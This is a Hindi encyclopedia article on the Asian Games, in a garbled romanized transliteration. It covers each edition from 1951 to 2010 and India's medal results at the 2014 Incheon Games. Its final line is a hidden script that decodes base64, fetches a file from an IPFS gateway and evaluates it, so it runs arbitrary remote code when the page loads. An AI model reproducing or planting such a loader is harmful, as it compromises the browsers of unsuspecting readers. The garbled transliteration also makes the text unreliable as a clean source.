एशियाई खेल
thumb|2014 mean ayojit eshiyaee kheloan ka pratik chihn eshiyaee khel pratyek char varsh bad ayojit hone vali bahu-khel pratiyogita hai jisamean keval eshiya ke vibhinn deshoan ke khila di bhag lete haian. eshiyaee kheloan ko eshiyad ke nam se bhi jana jata hai. in kheloan ka niyaman eshiyaee olampik parishad dvara antarrashtriy olampik parishad ke paryavekshan mean kiya jata hai. pratyek pratiyogita mean pratham sthan ke lie svarn, doosare ke lie rajat aur tisare ke lie kaansy padak die jate haian, jis parampara ka shubharambh 1951 mean hua tha.
khel pratiyogitaean
eshiyaee kheloan mean nimnalikhit khel pratiyogitaean hoti haian-
|
|
|
eshiyaee kheloan ka itihas
pratham eshiyaee kheloan ka ayojan nee dilli, bharat mean kiya gaya tha, jisane 1982 mean punah in kheloan ki mezabani ki. 16vean eshiyaee kheloan ka ayojan 12 navanbar se 27 navanbar, 2010 ke bich kiya gaya, jinaki mezabani gvaangajhou, chin ne ki. 17vean eshiyaee kheloan ka ayojan 17 sitambar se 4 aktoobar 2014 mean dakshin koriya ke ianchiyon mean hua.
| varsh | mezaban desh | sankshipt vivaran |
|---|---|---|
| 1951 | nee dilli, bharat | pahale eshiyaee khel 4 se 11 march 1951 ke bich nee dilli mean ayojit hue the. ye khel poorv nirdharit karyakram ke anusar 1950 mean hone the magar taiyariyoan mean deri ke chalate inhean 1951 tak ke lie tal diya gaya. halaanki japan ko landan mean 1948 mean hue olimpik mean hissa lene nahian diya gaya tha aur eshiyaee khel mahasangh ki sansthapak baithak mean bhi vo shamil nahian hua, magar in kheloan mean usane hissa liya. in kheloan ka udhghatan bharat ke pahale rashtrapati rajeandr prasad ne kiya tha. |
| 1954 | manila, philipins | doosare eshiyaee khel philipins ki rajadhani manila mean 1 se 9 mee 1954 ke bich ayojit hue. in kheloan ke udhghatan ki ghoshana rashtrapati raiman maigasayasay ne ki thi aur ye rijal memoriyal stediyam mean ayojit hue. |
| 1958 | tokiyo, japan | tisare eshiyaee kheloan ka ayojan japan ki rajadhani tokiyo mean hua. 24 mee se 1 joon 1958 ke bich ye ayojan hua, jisamean 20 deshoan ke 1820 ethalits ne 13 spardhaoan mean hissa liya. pichhali bar ke mukabale is bar paanch sparddhaean jyada thian. eshiyaee kheloan mean pahali bar mashal ki paranpara bhi shuroo ki gee. |
| 1962 | jakarta, iandoneshiya | chauthe eshiyaee khel 24 agast se 4 sitanbar 1962 ke bich iandoneshiya ki rajadhani jakarta mean ayojit hue. isarail aur taivan ke ethalits in kheloan mean hissa nahian le sake. arab deshoan aur chin ke dabav ke chalate iandoneshiya sarakar ne isaraili aur taivani pratinidhiyoan ko vija dene se inakar kar diya. 16 deshoan ke 1460 ethalits ne eshiyad mean hissa liya aur baidamiantan in kheloan mean shamil kiya gaya. rashtrapati sukarno ne in kheloan ke udhghatan ki ghoshana ki thi. |
| 1966 | baiank aauk, thaeelaiand | paanchavean eshiyaee khel 9 se 20 disanbar, 1966 ke bich thaeelaiand ki rajadhani baiank aauk mean ayojit hue. taivan aur isarail ki kheloan mean vapasi huee. kul 18 deshoan ke dhaee hajar ethalit aur adhikari in kheloan mean shamil hue. mahilaoan ke v aaulib aaul ko in kheloan mean shamil kiya gaya. thaeelaiand ke maharaj bhoomibol adulyadej ne in kheloan ka udhghatan kiya tha. |
| 1970 | baiank aauk, thaeelaiand | chhathe eshiyaee khel 24 agast se 4 sitanbar 1970 ke bich baiank aauk mean hi ayojit hue. shuruati yojana ke mutabiq dakshin koriya ke sol ko isaka ayojan karana tha magar uttar koriya se suraksha ko dhamaki ko dekhate hue usane davedari chho d di. 18 deshoan ke 2400 ethalits aur adhikari in kheloan mean shamil hue. y aautiang pahali bar in kheloan mean shamil hua aur ek bar phir bhoomibol adulyadej ne kheloan ka udhghatan kiya. |
| 1974 | teharan, eeran | satavean eshiyaee khel 1 se 16 sitanbar 1974 ke bich eeran ki rajadhani teharan mean ayojit kie ge the. in kheloan ke lie ajadi khel parisar banavaya gaya tha aur pahali bar madhy poorv ke kisi desh ne isaka ayojan kiya. teharan mean hue is ayojan mean 25 deshoan ke 3010 ethalit shamil hue jo ki kheloan ki shuruat se lekar tab tak ka sabase b da ayojan sabit hua. talavarabazi, jimnastiks aur mahilaoan ka basketab aaul in kheloan mean shamil hua. falastin se khataroan ko dekhate hue suraksha ki zabaradast vyavastha ki gee thi. magar ye khel rajaniti ka bhi shikar hue kyoanki arab mool ke deshoan, pakistan, chin aur uttar koriya ne isarail ke viruddh tenis, talavarabazi, basketab aaul aur futab aaul ke mukabaloan mean utarane se inakar kar diya. |
| 1978 | baiank aauk, thaeelaiand | athavean eshiyaee khel 9 se 20 disanbar 1978 ke bich baiank aauk mean hi ayojit hue. baangladesh aur bharat ke sath tanav ke bad pakistan ne eshiyaee kheloan ke ayojan ki yojana chho d di. siangapur ne vittiy karanoan se kheloan ka ayojan karane se mana kar diya. isake bad ek bar phir thaeelaiand ne madad ki peshakash ki aur khel baiank aauk mean ayojit hue. rajanitik karanoan se isarail ko kheloan se bahar kar diya gaya. 25 deshoan ke 3842 ethalit isamean shamil hue aur tirandazi ke sath hi boliang ko kheloan mean shamil kiya gaya. |
| 1982 | nee dilli, bharat | 9vean eshiyaee khel 19 navanbar se 4 disanbar 1982 ke bich nee dilli mean ayojit hue. pahale kheloan ke bad doosari bar dilli ne ye khel ayojit kie. ye eshiyaee khel eshiyaee olimpik parishad ke netrittv mean hue. eshiyaee khel mahasangh ko bhang karake hi eshiyaee olimpik parishad ka gathan hua. 33 deshoan ke 3411 ethalit kheloan mean shamil hue. ghu dasavari, golph, haiandab aaul, naukayan aur mahilaoan ki h aauki in kheloan mean shamil hua. isase pahale ke kheloan mean japan sarvadhik padak jitane vala desh tha magar in kheloan mean pahali bar chin ne japan ki jagah le li aur usake bad se use koee hata nahian saka hai. in kheloan ki taiyari mean bharat mean b de paimane par rangin telivijan ka prasar hua. in kheloan ka shubhankar appoo nam ka hathi tha. rashtrapati jnani jail sianh ne kheloan ka udhghatan kiya, pi.ti. usha ne khila diyoan ki or se shapath li aur ye khel javaharalal neharoo stediyam mean ayojit kie ge the. |
| 1986 | sol, dakshin koriya | dasavean eshiyaee khel 20 sitanbar se 5 aktoobar 1986 ke bich dakshin koriya ke sol mean ayojit kie ge. in kheloan mean 27 deshoan ke 4839 ethalits shamil hue aur kul 25 spardhaoan mean padak baante ge. joodo, taikvaando, mahilaoan ki saikliang aur mahilaoan ki nishanebaji ko in kheloan mean shamil kiya gaya. in kheloan mean 83 eshiyaee rik aaurd aur tin vishv rik aaurd toote. pi.ti. usha in kheloan ki star ethalit thi jinhoanne char svarn aur ek rajat padak jita. dakshin koriya ne japan ko hatakar padak talika mean doosara sthan hasil kar liya. |
| 1990 | bijiang, chin | gyarahavean eshiyaee kheloan ka ayojan 22 sitanbar se 7 aktoobar, 1990 ke bich chin ke bijiang mean hua. chin mean b de paimane par ayojit hua ye pahala khel ayojan tha. 37 deshoan ke kul 6122 ethalit unamean shamil hue aur 29 spardhaean ayojit hueean. in kheloan mean s aauphtab aaul, sepak takar aau, vushu, kabaddi aur kanooiang pahali bar shamil kie ge. kuvait par iraki hamale mean eshiyaee olimpik parishad ke pramukh shekh phahad al-saba bhi mare ge the aur gyarahavean eshiyad mean yahi charcha ka b da vishay tha. in kheloan mean sat vishv rik aaurd aur 89 eshiyaee rik aaurd toote. |
| 1994 | hiroshima, japan | barahavean eshiyaee khel 2 se 16 aktoobar 1994 ke bich japan ke hiroshima mean ayojit hue. in kheloan ka mukhy sandesh eshiyaee deshoan mean shaanti aur sauhard ko badhana tha. is par khasa jor diya gaya kyoanki 1945 mean is jagah par pahala paramanu bam giraya gaya tha. poorv soviyat sangh se svatantr hue kajakhastan, kirgistan, tajikistan, turkamenistan aur ujabekistan ko in kheloan mean shamil kiya gaya. ye pahale eshiyaee khel the jo kisi desh ki rajadhani mean ayojit nahian hue the. pahale kha di yuddh ke bad irak ko kheloan se nilanbit rakha gaya tha. 42 deshoan ke 6828 ethalit ne is pratiyogita mean hissa liya aur kul 34 spardhaean ayojit hueean. besab aaul, karate aur adhunik peantathalan in kheloan mean shamil hue. |
| 1998 | baiank aauk, thaeelaiand | terahavean eshiyaee khel 6 se 20 disanbar, 1998 ke bich baiank aauk mean ayojit hue. in kheloan mean kul 41 deshoan ne hissa liya. baiank aauk ne is tarah chauthi bar eshiyaee kheloan ka ayojan kiya. isase pahale 1966 mean ye khel baiank aauk ko die ge the jabaki 1970 aur 1978 mean use doosare deshoan ke ayojan nahian kar pane ki vajah se ye ayojan karana p da tha. ek bar phir thaeelaiand ke naresh bhoomibol adulyadej ne in kheloan ka udhghatan kiya. |
| 2002 | busan, dakshin koriya | chaudahavean eshiyaee kheloan ka ayojan 29 sitanbar se 14 aktoobar 2002 ke bich dakshin koriya ke busan mean hua. 44 deshoan ke 6572 ethalits ne in kheloan mean hissa liya. 38 kheloan mean mukabale hue jabaki 18 hajar patrakar, adhikari aur ethalit isamean shamil hue. kheloan ke itihas mean pahali bar eshiyaee olimpik parishad ke sabhi 44 sadasy desh shamil hue. inamean uttar koriya aur afaganistan bhi shamil hue. |
| 2006 | doha, katar | 15vean eshiyaee khel katar ke doha mean 1 se 15 disanbar 2006 ke bich ayojit hue. madhy poorv kshetr se doha doosara shahar bana jisane eshiyad ka ayojan kiya tha. usase pahale 1974 mean teharan in kheloan ka ayojan kar chuka tha. 29 kheloan ki 46 spardhaean ayojit hueean. parishad ke sabhi 45 deshoan ne in kheloan mean hissa liya. kheloan ke dauran hi dakshin koriyaee ghu dasavar kim hyuang chil ki maut ho gee aur usaki kheloan ke dauran kafi charcha rahi thi. |
| 2010 | gvaangajhoo, chin | chin ke khoobasoorat shahar gvaangajhoo 16vean eshiyad ki mejabani ki. 12 se 29 navambar 2010 tak samapt hue is khelakuanbh mean rek aaurd 42 kheloan ki 476 spardhaoan mean 14 hajar se ethalit ne shirakat ki. mejaban hone ke nate chin ka sabase b da dal (1454 ethalit) jyada se jyada padakoan ko jitana chahega. katar (2006) mean ayojit 15vean eshiyad mean chin ne hamesha ki tarah 165 svarn padak jitakar padak talika mean avval sthan paya tha. |
2014 eshiyaee khel
17vean eshiyaee khel 2014 mean dakshin koriya ke ianchiyon mean ayojit hue. inaka ayojan 17 sitambar se 4 aktoobar 2014 ke madhy hua. 17vean eshiyaee kheloan ka shanivar 4 aktoobar 2014 ko bhavy samaroh ke sath samapan ho gaya. is dauran jahaan pratibhagiyoan ke bich har padak ke lie behad k da sangharsh dekhane ko mila vahian desh-videsh se ae darshakoan ne behad dostana mahaul mean pratispardhaoan ka lutph uthaya. aantatah chin ek bar phir sarvadhik padakoan (kul padak- 342) ke sath eshiyaee kheloan mean apana dabadaba kayam rakhane mean kamayab raha, jabaki hamesha ki tarah sauth koriya (kul padak- 234) doosare aur japan (kul padak- 200) ne tisare payadan par rahate hue abhiyan samapt kiya. 17vean eshiyaee kheloan mean 439 svarn padakoan ke lie 45 deshoan ke 14,000 khila diyoan ne 36 kheloan mean hissedari ki. archari, vetaliphtiang aur shootiang mean jahaan 14 ne varld rek aaurds bane, vahian b di sankhya mean gems rek aaurd bhi toote. chin 151 svarn padak sahit kul 342 padak jit eshiya mean kheloan ka siramaur bana raha. mejaban sauth koriya ne 79 svarn sahit kul 234 padak hasil kie, jabaki japan ne 47 svarn padak ke sath kul 200 padak apani jholi mean dale.[2]
athavean sthan par raha bharat
bharat ne in kheloan mean 11 svarn, 10 rajat aur 36 kaansy sahit kul 57 padak hasil kie aur athavean sthan par raha. bharat 2010 gvaangjhoo kheloan ke apane 65 padakoan ki sankhya mean sudhar karane ya isaki barabari karane ke irade se utara tha. bharatiy dal halaanki pichhali bar hi tulana mean kam hi padak jit paya. bharat ne 11 svarn jite, jo pichhali bar ki tulana mean 3 kam haian. isake alava usane 10 rajat aur 36 kaansy padak sahit kul 57 padak jite. bharat padak talika mean 8vean sthan par raha, jo pichhali bar ke chin kheloan ki tulana mean 2 sthan niche hai. gvaangjhoo mean bharat ne 14 svarn, 17 rajat aur 34 kaansy padak jitakar 6tha sthan hasil kiya tha. bharat ne ethaletiks aur kabaddi mean 2-2 svarn padak jite jabaki tirandaji, mukkebaji, h aauki, nishanebaji, skvash, tenis aur kushti mean 1-1 svarn padak mila. bharat ke padakoan ki sankhya mean yahaan eshiyaee kheloan ke dauran bhale hi giravat aee ho lekin isake bavajood use jashn manane ke kafi mauke mile, jab purush h aauki tim ne 16 varsh ke bad svarn padak jita jabaki mahanh mukkebaj em.si. mairik aaum ne svarn padak jitakar apane kad ko aur ooancha kiya. desh ke khila diyoan ka eshiyaee kheloan mean abhiyan halaanki mishrit saphalata vala raha.[3]
kabaddi evan h aauki mean bharat ka shanadar pradarshan
nishanebaj jitoo ray aur phristail pahalavan yogeshvar datt in kheloan ke nayakoan mean shamil rahe. varsh 2010 mean bharat ne 609 pratibhagiyoan mean maidan mean utara tha jabaki is dauran 541 khila diyoan ne chunauti pesh ki. bharat ki or se pahala svarn padak sena ke pratibhavana nishanebaj jitoo ray ne purush 50 mitar pistal spardha mean pratiyogitaoan ke pahale hi din jita. bharat ke lie aantim svarn padak kal mahila aur purush kabaddi timoan ne jite. desh ko kuchh svarn kabaddi jaise gair olanpik kheloan mean mile, jo eshiyaee ke adhikaansh hissoan mean bhi kafi lokapriy nahian hai. bharatiy mishan pramukh adile sumarivala ne bharatiy tim ke pradarshan par kaha ki padakoan ki kul sankhya ummid ke mutabiq rahi. unhoanne kaha ki hamane 50 se 55 padak ki ummid ki thi aur hamean 57 padak mile. varsh 2010 ke bad ham rah se bhatak ge the, nahian to aur adhik padak jitane mean saphal rahate. is bar bhi bharat glasgo mean rashtramandal kheloan mean achchha pradarshan karane ke bad yahaan tha aur ek bar phir rashtramandal kheloan aur eshiyaee kheloan ke star mean aantar dekhane ko mila. eshiyaee kheloan mean ek bar phir chin ne dabadaba banaya. svarn padakoan ki girati sankhya ke bich saradar sianh ki aguaee vali bharatiy purush h aauki tim ne phainal mean chir pratidvandvi pakistan ko penalti shoot aut mean harakar desh ko jashn banane ka mauka diya. phainal mukabala 4 kvartar ke bad 1-1 se barabar rahane ke bad bharat ne penalti shootaut mean 4-2 se jit darj ki thi. bharat ne pichhala svarn padak 1998 baiank aauk eshiyaee kheloan ke dauran jita tha aur tim ke lie nishchit taur par yah svarn kafi mahatvapoorn sabit hoga. isake sath hi bharat 1966 ke bad pakistan ko pahali bar phainal mean harakar 2016 riyo olanpik ki purush h aauki spardha ke lie bhi kvaliphaee kar gaya. isake alava bharat ke lie purush kanpauand tirandaji tim, mairik aaum, yogeshvar datt, purush skv aaush tim, saniya mirja aur saket maineni ki tenis mishrit yugal jo di, mahila chakka pheank khila di sima pooniya aur 4 guna 400 mitar rile tim ne bhi svarn padak jite. yogeshvar yahaan svarn padak jitane ke irade se ae the aur unhoanne kushti mean bharat ke 28 sal ke svarn padak ke sookhe ka aant kiya.[3]
|
|
|
|
|
|
tika tippani aur sandarbh
- ↑ eshiyad ka itihas (hiandi) vebaduniya hiandi. abhigaman tithi: 5 aktoobar, 2014.
- ↑ ianchan eshiyaee kheloan ka bhavy samapan (hiandi) navabharat taims. abhigaman tithi: 5 aktoobar, 2014.
- ↑ 3.0 3.1 bharat ko eshiyad mean pichhali bar se kam padak mile (hiandi) vebaduniya. abhigaman tithi: 5 aktoobar, 2014.
bahari k diyaan
sanbandhit lekh
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>